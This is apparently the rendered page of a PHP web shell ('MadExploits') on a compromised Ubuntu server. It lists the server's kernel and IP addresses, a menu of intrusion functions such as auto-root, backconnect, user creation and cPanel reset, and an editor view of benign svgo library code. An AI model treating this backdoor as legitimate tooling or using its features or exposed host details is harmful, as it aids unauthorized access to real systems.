Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
svgo /
lib /
svgo /
[ HOME SHELL ]
Name
Size
Permission
Action
coa.js
18.37
KB
-rw-r--r--
config.js
5.26
KB
-rw-r--r--
css-class-list.js
3.18
KB
-rw-r--r--
css-select-adapter.js
1.5
KB
-rw-r--r--
css-style-declaration.js
8.02
KB
-rw-r--r--
js2svg.js
7.78
KB
-rw-r--r--
jsAPI.js
8.95
KB
-rw-r--r--
plugins.js
2.1
KB
-rw-r--r--
svg2js.js
4.43
KB
-rw-r--r--
tools.js
3.29
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : css-class-list.js
'use strict'; var values = require('object.values'); if (!Object.values) { values.shim(); } var CSSClassList = function(node) { this.parentNode = node; this.classNames = new Set(); this.classAttr = null; //this.classValue = null; }; /** * Performs a deep clone of this object. * * @param parentNode the parentNode to assign to the cloned result */ CSSClassList.prototype.clone = function(parentNode) { var node = this; var nodeData = {}; Object.keys(node).forEach(function(key) { if (key !== 'parentNode') { nodeData[key] = node[key]; } }); // Deep-clone node data. nodeData = JSON.parse(JSON.stringify(nodeData)); var clone = new CSSClassList(parentNode); Object.assign(clone, nodeData); return clone; }; CSSClassList.prototype.hasClass = function() { this.classAttr = { // empty class attr 'name': 'class', 'value': null }; this.addClassHandler(); }; // attr.class CSSClassList.prototype.addClassHandler = function() { Object.defineProperty(this.parentNode.attrs, 'class', { get: this.getClassAttr.bind(this), set: this.setClassAttr.bind(this), enumerable: true, configurable: true }); this.addClassValueHandler(); }; // attr.class.value CSSClassList.prototype.addClassValueHandler = function() { Object.defineProperty(this.classAttr, 'value', { get: this.getClassValue.bind(this), set: this.setClassValue.bind(this), enumerable: true, configurable: true }); }; CSSClassList.prototype.getClassAttr = function() { return this.classAttr; }; CSSClassList.prototype.setClassAttr = function(newClassAttr) { this.setClassValue(newClassAttr.value); // must before applying value handler! this.classAttr = newClassAttr; this.addClassValueHandler(); }; CSSClassList.prototype.getClassValue = function() { var arrClassNames = Array.from(this.classNames); return arrClassNames.join(' '); }; CSSClassList.prototype.setClassValue = function(newValue) { if(typeof newValue === 'undefined') { this.classNames.clear(); return; } var arrClassNames = newValue.split(' '); this.classNames = new Set(arrClassNames); }; CSSClassList.prototype.add = function(/* variadic */) { this.hasClass(); Object.values(arguments).forEach(this._addSingle.bind(this)); }; CSSClassList.prototype._addSingle = function(className) { this.classNames.add(className); }; CSSClassList.prototype.remove = function(/* variadic */) { this.hasClass(); Object.values(arguments).forEach(this._removeSingle.bind(this)); }; CSSClassList.prototype._removeSingle = function(className) { this.classNames.delete(className); }; CSSClassList.prototype.item = function(index) { var arrClassNames = Array.from(this.classNames); return arrClassNames[index]; }; CSSClassList.prototype.toggle = function(className, force) { if(this.contains(className) || force === false) { this.classNames.delete(className); } this.classNames.add(className); }; CSSClassList.prototype.contains = function(className) { return this.classNames.has(className); }; module.exports = CSSClassList;
Close